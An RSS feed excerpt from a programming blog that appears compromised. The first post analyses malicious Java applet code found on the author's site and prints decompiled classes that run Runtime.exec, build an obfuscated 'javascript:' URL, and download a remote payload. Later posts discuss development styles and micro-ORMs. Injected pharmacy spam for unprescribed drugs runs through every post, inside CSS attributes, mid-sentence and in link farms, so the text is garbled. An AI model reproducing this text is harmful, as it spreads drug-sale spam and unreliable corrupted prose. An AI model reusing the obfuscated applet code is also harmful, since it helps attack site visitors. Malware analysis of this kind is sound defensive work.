<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  23:</span>                     process = Runtime.getRuntime().<span style="color: #0000ff">exec</span>(s1);</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  24:</span>                     <span style="color: #0000ff">if</span>(process != <span style="color: #0000ff">null</span>)</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, <b>Flagyl wiki</b>, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  25:</span>                     {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  26:</span>                         c_js1.js(&quot;JSM_onLoad&quot;, applet);</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  27:</span>                         <span style="color: #0000ff">break</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  28:</span>                     }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  29:</span>                 }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, <b>Flagyl australia, uk, us, usa</b>, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  30:</span>                 i++;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  31:</span>             } <span style="color: #0000ff">while</span>(<span style="color: #0000ff">true</span>);</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  32:</span>         }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  33:</span>         catch(<span style="color: #0000ff">Exception</span> <span style="color: #0000ff">exception</span>) { }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  34:</span>     }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  35:</span> }</pre>  </div></div></p>
<p><p>c_js.java</p></p>
<p><div style="border-bottom: gray 1px solid; border-left: gray 1px solid; padding-bottom: 4px; line-height: 12pt; background-color: #f4f4f4; margin: 20px 0px 10px; padding-left: 4px; width: 97.5%; padding-right: 4px; font-family: consolas, <b>Flagyl no prescription</b>, &#39;Courier New&#39;, courier, monospace; max-height: 200px; font-size: 8pt; overflow: auto; border-top: gray 1px solid; cursor: text; border-right: gray 1px solid; padding-top: 4px">  <div style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px">    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   1:</span> import java.applet.Applet;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   2:</span> import java.applet.AppletContext;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   3:</span> import java.net.URL;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, <b>Buy Flagyl online no prescription</b>, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   4:</span>&#160; </pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   5:</span> <span style="color: #0000ff">class</span> c_js</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   6:</span> {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   7:</span>     c_js()</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   8:</span>     {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, <b>buy Flagyl from canada</b>, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   9:</span>     }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  10:</span>&#160; </pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  11:</span>     <span style="color: #0000ff">public</span> void js(String s, Applet applet)</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  12:</span>     {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  13:</span>         String s1 = &quot;vascri&quot;;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, <b>Where can i find Flagyl online</b>, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  14:</span>         try</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  15:</span>         {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  16:</span>             applet.getAppletContext().showDocument(<span style="color: #0000ff">new</span> URL((<span style="color: #0000ff">new</span> StringBuilder()).append(&quot;ja&quot;).append(s1).append(&quot;pt:&quot;).append(s).append(&quot;();&quot;).toString()));</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  17:</span>         }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  18:</span>         catch(<span style="color: #0000ff">Exception</span> <span style="color: #0000ff">exception</span>) { }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  19:</span>     }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, <b>doses Flagyl work</b>, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  20:</span> }</pre>  </div></div></p>
<p><p>&#160;</p></p>
<p><p>ok, c_js executes a javascript function back on the browser, where the varable ’s’ is a function.&#160; I like the way they break up “ja-vascri-pt:”</p></p>
<p><p>c_ed calls the javascript function JSM_onLoad&#160; (this is in that last javascript file I showed, the one with the poetry on the bottom) and executes it using c_js.</p></p>
<p><p>c_de, I could be missing something, but it looks like that code can download near anything.&#160; Kind of scary that one.</p></p>
<p><p>c_gP, I will need a Java expert for that.&#160; Completely dumbfounds me right now, but I don’t have a good Java environment to play with right now to try it out. (I’m working on that, but it is late).</p></p>
<p><p>a, this one is the entry point for the applet.&#160; It is easy to see the link in there, it comes out to: [http://dl.dropbox.com/u/41185898/a.gif] Which is a broaken link (but I was getting excited there).</p></p>
<p><h3></h3></p>
<p><h3>Where did this go?</h3></p>
<p><p>OK, I spent a couple of hours on this, <b>Where can i buy cheapest Flagyl online</b>, part of that is writing this up, so this is kind of a mad dash.&#160; But it looks like the point was to load random images onto the page.&#160; But someone else can look that up.</p></p>
<p><p>Now the rest of the ethical delima: should I have posted this?&#160; Personally I think there are valuable things to learn from reading code like this.&#160; And it is always good to know what the “other side” is doing.&#160; But is posting the code more harm than good?</p></p>
<p><p>Tell me what you think.&#160; If you convince me I did wrong, some of this may go away.</p>.</p>
<p></p>
<p><b>Similar posts:</b> <a href='http://elegantcode.com/?p=4977'>Spiriva For Sale</a>. <a href='http://elegantcode.com/?p=4713'>Colchicine For Sale</a>. <a href='http://elegantcode.com/?p=4388'>Buy Levaquin Without Prescription</a>. <a href='http://elegantcode.com/?p=5020'>Buy Alesse (Ovral L) Without Prescription</a>. <a href='http://elegantcode.com/?p=4930'>Buy Betnovate Without Prescription</a>. <a href='http://elegantcode.com/?p=4731'>Purchase Celebrex for sale</a>. <a href='http://elegantcode.com/?p=4608'>After Cephalexin</a>. <a href='http://elegantcode.com/?p=4407'>No prescription Nexium online</a>. <a href='http://elegantcode.com/?p=4307'>Toradol long term</a>. <a href='http://elegantcode.com/?p=4715'>Aldactone pics</a>.<br />
<b>Trackbacks from:</b> <a href='http://www.leaduganda.org/?p=3514'>Flagyl For Sale</a>. <a href='http://www.macneilbmx.com/blog/?p=6916'>Flagyl For Sale</a>. <a href='http://www.greatgreengoods.com/?p=4031'>Flagyl For Sale</a>. <a href='http://www.thegriffonnews.com/?p=10580'>Flagyl For Sale</a>. <a href='http://www.independentworldreport.com/?p=2643'>Flagyl For Sale</a>. <a href='http://4realz.net/?p=2486'>What is Flagyl</a>. <a href='http://tvtownhall.com/?p=1903'>Where to buy Flagyl</a>. <a href='http://reversemortgagedaily.com/?p=14810'>Canada, mexico, india</a>. <a href='http://linuxologist.com/?p=1840'>Flagyl trusted pharmacy reviews</a>. <a href='http://home.officesnapshots.com/?p=364'>Japan, craiglist, ebay, overseas, paypal</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://elegantcode.com/2012/04/10/getting-hacked-and-seven-levels-of-indirection/feed/</wfw:commentRss>
		<slash:comments>17</slash:comments>
		</item>
		<item>
		<title>Buy Augmentin Without Prescription</title>
		<link>http://elegantcode.com/2012/01/16/marines-vs-boy-scouts/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=marines-vs-boy-scouts</link>
		<comments>http://elegantcode.com/2012/01/16/marines-vs-boy-scouts/#comments</comments>
		<pubDate>Mon, 16 Jan 2012 17:08:00 +0000</pubDate>
		<dc:creator>Chris Brandsma</dc:creator>
				<category><![CDATA[Esoterica]]></category>

		<guid isPermaLink="false">http://elegantcode.com/2012/01/16/marines-vs-boy-scouts/</guid>
		<description><![CDATA[Buy Augmentin Without Prescription, What I’m talking about here are two styles of development.&#160; And this isn’t an “us vs. them”, get Augmentin, Augmentin use, this is a “me, myself, where can i order Augmentin without prescription, Buy generic Augmentin, I and all of yall”.&#160; We all use both of these patterns in developing code, [...]]]></description>
			<content:encoded><![CDATA[<p> <p> <b>Buy Augmentin Without Prescription</b>, What I’m talking about here are two styles of development.&#160; And this isn’t an “us vs. them”, <b>get Augmentin</b>, <b>Augmentin use</b>, this is a “me, myself, <b>where can i order Augmentin without prescription</b>, <b>Buy generic Augmentin</b>, I and all of yall”.&#160; We all use both of these patterns in developing code, and will even switch patterns in the same product from feature to feature.&#160; Anyway, <b>Augmentin wiki</b>, <b>Australia, uk, us, usa</b>, here are your definitions:</p>  <p><strong>Boy Scout</strong>:&#160; “Leave thing better than you found them”</p>  <p><strong>Marine</strong>: “Get in, get out, <b>taking Augmentin</b>, <b>Augmentin alternatives</b>, leave no trace behind.”</p>  <p>Sounds simple right?&#160; So where does this apply?&#160; Starting with the Marine.&#160; I more frequently use this when dealing with someone else’s code, or something I just need to hack out real quick.&#160; Often you don’t plan on maintaining the code, <b>about Augmentin</b>, <b>Augmentin online cod</b>, probably won’t own it, or you are just following the given pattern that is already established in the code – no matter how bad it is.&#160; Typically you are just trying to get in and out without your name being attached.&#160; You will also hear the adage “if it ain’t broke don’t fix it” commonly among staunch practitioners.&#160; You can maintain code like this for a while, <b>buy no prescription Augmentin online</b>, <b>Augmentin long term</b>, but if used too often it will come back to haunt you.&#160; Each feature becomes harder to add, unexpected behaviors crop up, <b>order Augmentin online c.o.d</b>, <b>Augmentin no rx</b>, and performance problems creep in.</p>  <p>Now the Boy Scout.&#160; You are adding a feature and find a mess.&#160; The code is working, but is very unmaintainable.&#160; Instead of just adding your feature, <b>buy Augmentin without prescription</b>, <b>Augmentin photos</b>, you tear the code apart and refactor the daylights out of the code.&#160; Once complete and all is in order, then you add your feature.&#160; It took you three times longer than expected to get the feature added, <b>online Augmentin without a prescription</b>, <b>Augmentin treatment</b>, but you might be saving time in the future, assuming you will need to work with the code again.&#160; Unfortunately, <b>get Augmentin</b>, <b>Ordering Augmentin online</b>, it is also very possible to get over your head in a hurry.&#160; It would be great to have some unit tests to fall back on in this situation … but I haven’t seen that yet.&#160; A good thing to do before you start a boy scout trip is to warn people where you are going, how long you’ll be there, <b>Augmentin from canadian pharmacy</b>, <b>Augmentin australia, uk, us, usa</b>, and when to send for help.</p>  <h2>Pointers</h2>  <p>Now, lets not get too far ahead of ourselves here, <b>where can i cheapest Augmentin online</b>, <b>Kjøpe Augmentin på nett, köpa Augmentin online</b>, there is absolutely a time and place for each approach.&#160; It should also not be too hard to understand which is correct – but I’ll give some guidance anyway.&#160; Here are some points.</p>  <ol>   <li>If the code in question will be rarely used by one guy in the basement and doesn’t own a gun, marine mission till the cows come home.</li>    <li>If the code is non-critical, <b>Augmentin pharmacy</b>, <b>Discount Augmentin</b>, proof of concept, spike, <b>Augmentin without a prescription</b>, <b>Augmentin cost</b>, or the like and can get everything done in less than 4 hours, marine mission.</li>    <li>If you are a consultant brought in to add one feature and supplement a team with a strange style but is currently working for them, <b>Augmentin use</b>, <b>Augmentin trusted pharmacy reviews</b>, marine mission.&#160; Otherwise you will be “that guy”, meaning the one that didn’t fit in.&#160; Sometime it pays to just go with the flow.</li>    <li>If the code is critical path, <b>Augmentin steet value</b>, <b>Rx free Augmentin</b>, a essential web page seen by every customer you have: Boy Scout, and continue to Boy Scout.</li>    <li>If the code is already a buggy mess, <b>Augmentin dose</b>, <b>Doses Augmentin work</b>, the customers hate you, your product, <b>Augmentin recreational</b>, <b>Canada, mexico, india</b>, and your car – role up your sleeves and get to work.</li> </ol>  <p>End result, either approach can get you in trouble when used inappropriately.&#160; You need sound judgment to figure this out.&#160; But then again, <b>buy Augmentin online no prescription</b>, <b>Augmentin without prescription</b>, if software development was easy everyone would do it.</p>.  Buy Augmentin online cod.  Where can i buy cheapest Augmentin online.</p>
<p></p>
<p><b>Similar posts:</b> <a href='http://elegantcode.com/?p=4657'>Lexapro For Sale</a>. <a href='http://elegantcode.com/?p=4452'>Stromectol For Sale</a>. <a href='http://elegantcode.com/?p=4867'>Buy Soma Without Prescription</a>. <a href='http://elegantcode.com/?p=4758'>Buy Atenolol Without Prescription</a>. <a href='http://elegantcode.com/?p=4553'>Buy Female Pink Viagra Without Prescription</a>. <a href='http://elegantcode.com/?p=4662'>Where can i buy cheapest Antabuse online</a>. <a href='http://elegantcode.com/?p=4508'>Slimex (Obetrim) photos</a>. <a href='http://elegantcode.com/?p=4623'>Augmentin description</a>. <a href='http://elegantcode.com/?p=4752'>Buy Colchicine no prescription</a>. <a href='http://elegantcode.com/?p=4322'>Clonidine natural</a>.<br />
<b>Trackbacks from:</b> <a href='http://www.quarterlives.com/?p=1090'>Buy Augmentin Without Prescription</a>. <a href='http://4realz.net/?p=2432'>Buy Augmentin Without Prescription</a>. <a href='http://www.leaduganda.org/?p=903'>Buy Augmentin Without Prescription</a>. <a href='http://www.macneilbmx.com/blog/?p=6378'>Buy Augmentin Without Prescription</a>. <a href='http://www.greatgreengoods.com/?p=3806'>Buy Augmentin Without Prescription</a>. <a href='http://reversemortgagedaily.com/?p=13969'>Augmentin description</a>. <a href='http://linuxologist.com/?p=425'>Online buy Augmentin without a prescription</a>. <a href='http://home.officesnapshots.com/?p=198'>Augmentin pharmacy</a>. <a href='http://evanrapoport.com/?p=55'>Augmentin trusted pharmacy reviews</a>. <a href='http://www.themusclecarplace.com/?p=3068'>Doses Augmentin work</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://elegantcode.com/2012/01/16/marines-vs-boy-scouts/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Metronidazole Gel For Sale</title>
		<link>http://elegantcode.com/2011/08/02/thoughts-on-microorms/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=thoughts-on-microorms</link>
		<comments>http://elegantcode.com/2011/08/02/thoughts-on-microorms/#comments</comments>
		<pubDate>Wed, 03 Aug 2011 04:21:29 +0000</pubDate>
		<dc:creator>Chris Brandsma</dc:creator>
				<category><![CDATA[Esoterica]]></category>

		<guid isPermaLink="false">http://elegantcode.com/2011/08/02/thoughts-on-microorms/</guid>
		<description><![CDATA[Metronidazole Gel For Sale, I’ve been spending some time getting my head wrapped around the idea of MicroOrms lately.&#160; A lot of this has to do with some of the scalability/caching issues I’ve been having with NHibernate.&#160; Don’t get me wrong, I still love NHibernate, but it can be a bit of a beast when [...]]]></description>
			<content:encoded><![CDATA[<p> <p> <b>Metronidazole Gel For Sale</b>, I’ve been spending some time getting my head wrapped around the idea of MicroOrms lately.&#160; A lot of this has to do with some of the scalability/caching issues I’ve been having with NHibernate.&#160; Don’t get me wrong, I still love NHibernate, but it can be a bit of a beast when you are really trying to drive performance, there is a lot of overhead in there.&#160; Besides, my general rule has been a good ORM can handle 80-90% of your queries, and then performance tune out as needed.&#160; I’m at the performance tuning part now.</p>  <p>BTW: if you are using Entity Framework you are in the same boat.</p>  <p>So the question is, what to do with that last 10-20% that you need performance on?&#160; Previously I had gone straight to Ado.Net, or used my own <a href="http://fluentado.codeplex.com/">FluentAdo</a> project.&#160; But a few new projects have dropped in on the scene and it was time to take a look.</p>  <p>Let’s start off with some requirements: </p>  <ol>   <li>Don’t be a pain to setup.</li>    <li>Don’t hork up my domain model (I have NHibernate for that).&#160; POCO preferred.</li>    <li>Be able handle multiple result sets (something NHibernate does not do well)</li>    <li>Preference executing raw sql, not an api.&#160; </li> </ol>  <ol>I don’t need:   <li>A custom query api for constructing sql. </li>    <li>Change tracking</li>    <li>Caching </li>    <li>Lazy Loading </li>    <li>Automatically loading child objects </li> </ol>  <ol>Basically, <b>online buying Metronidazole Gel</b>, <b>My Metronidazole Gel experience</b>, be simple, be light, <b>order Metronidazole Gel online c.o.d</b>, <b>Metronidazole Gel samples</b>, be fast, don’t be another NHibernate.&#160; </ol>  <p>Now the Contenders:</p>  <ul>   <ul>     <li><font style="background-color: #ffffff">Dapper </font></li>      <li>Simple.Data</li>      <li>Massive</li>      <h3>       <ul></ul>        <ul>Dapper</ul>     </h3>      <p><a href="http://code.google.com/p/dapper-dot-net/">Dapper</a> is my current favorite.&#160; I deals with POCO objects, <b>Metronidazole Gel online cod</b>, <b>Discount Metronidazole Gel</b>, setup is very simple, very little overhead and ceremony.&#160; That said, <b>purchase Metronidazole Gel online</b>, <b>Metronidazole Gel dose</b>, it is probably the rawest for dealing with sprocs.&#160; But for a bare metal way of loading domain objects, this guy is hard to beat.</p> Here is a sample query:</ul>    <p>var customer = _connection.Query&lt;Customer&gt;(     <br />&#160;&#160;&#160; &quot;select * from dbo.Customers where CustomerId = @id&quot;, <b>where can i buy cheapest Metronidazole Gel online</b>, <b>Metronidazole Gel pictures</b>, <br />&#160;&#160;&#160; new {id = 1})      <br />&#160;&#160;&#160; .FirstOrDefault();</p>    <p>Basically, Dapper handles all of my requirements with ease.&#160; I almost forgot to mention, <b>where can i find Metronidazole Gel online</b>, <b>Metronidazole Gel photos</b>, Dapper is compatible with .Net 4.0 and 3.5.&#160;&#160; That is a huge win for me.&#160; Plus, the guys on Stack Overflow are using it, <b>Metronidazole Gel samples</b>, <b>Metronidazole Gel recreational</b>, which makes for an easy “sell” to my management team.</p>    <p>&#160;</p>    <h3>Simple.Data</h3>    <ul><a href="https://github.com/markrendle/Simple.Data">Simple.Data</a> is also very interesting.&#160; It makes extensive use of .net 4.0 and the dynamic.&#160; Simple.Data is fairly ORM’ish, in that it seems to scan your database schema and dynamically add methods for retrieving data.&#160; But it still uses POCO classes so I am good with that.</ul> Here is a sample query:</ul>  <p>var db = Database.Open();   <br />var customer = db.Customers.FindByCustomerId(1);</p>  <p>To get that to work I defined the customer class with a CustomerID…and that is it.&#160; Dapper came up with the FindByCustomerId part.&#160; It also adds stored procs as well, <b>Metronidazole Gel pictures</b>, <b>Order Metronidazole Gel no prescription</b>, so if I have a sproc called “GetCustomers”, I can call:</p>  <p>db.GetCustomers()</p>  <p>It is just scary what is going on here.&#160; Granted there is a down-side to this system – albiet minor.&#160; There is a bit of overhead while Simple.Data scans your database schema and gets setup.</p>  <p>Verdict: I don’t mind Simple.Data, <b>Metronidazole Gel reviews</b>, <b>Metronidazole Gel wiki</b>, but the .Net 4.0 only part is a problem, plus it strays a bit into becoming a ORM – a bit too much API, <b>Metronidazole Gel no prescription</b>, <b>Metronidazole Gel duration</b>, but nothing obnoxious.</p>  <h3>Massive</h3>  <p>I should have known how this one would turn out ahead of time, but I really didn’t want to believe it.&#160; When I was young and foolish I was a SubSonic guy.&#160; Truth is, <b>Metronidazole Gel coupon</b>, <b>Metronidazole Gel dose</b>, I read Rob Connery’s blog religiously.&#160; But I moved passed SubSonic and onto NHibernate and never looked back.&#160; Heck, I moved passed Active Record and onto Repository Pattern.&#160; (Since then I’ve moved on again to Query/Command Pattern, <b>buy Metronidazole Gel without prescription</b>, <b>Online buy Metronidazole Gel without a prescription</b>, but another time for that).</p>  <p>First off, Massive horks up my domain model.&#160; Each entity has to inherit from DynamicModel.&#160; So before my model looked like this:</p>  <p>class Customer   <br />{    <br />&#160;&#160;&#160; public int CustomerId { get; set; }    <br />&#160;&#160;&#160; public string Name { get; set; }    <br />&#160;&#160;&#160; public string Address { get; set; }    <br />}</p>  <p>Now, <b>where can i find Metronidazole Gel online</b>, <b>Online Metronidazole Gel without a prescription</b>, Massive-fied:</p>  <p>class Customer: DynamicModel   <br />{    <br />&#160;&#160;&#160; public Customer(): base(&quot;Default&quot;)    <br />&#160;&#160;&#160; {    <br />&#160;&#160;&#160;&#160;&#160;&#160;&#160; TableName = &quot;Customers&quot;;    <br />&#160;&#160;&#160;&#160;&#160;&#160;&#160; PrimaryKeyField = &quot;CustomerId&quot;;    <br />&#160;&#160;&#160; }</p>  <p>&#160;&#160;&#160; public int CustomerId { get; set; }   <br />&#160;&#160;&#160; public string Name { get; set; }    <br />&#160;&#160;&#160; public string Address { get; set; }    <br />}</p>  <p>And that “Default” in there, that is the name of my connection string.&#160; Wonderful.&#160; Also, <b>buy Metronidazole Gel online no prescription</b>, <b>Buy cheap Metronidazole Gel no rx</b>, because my table names 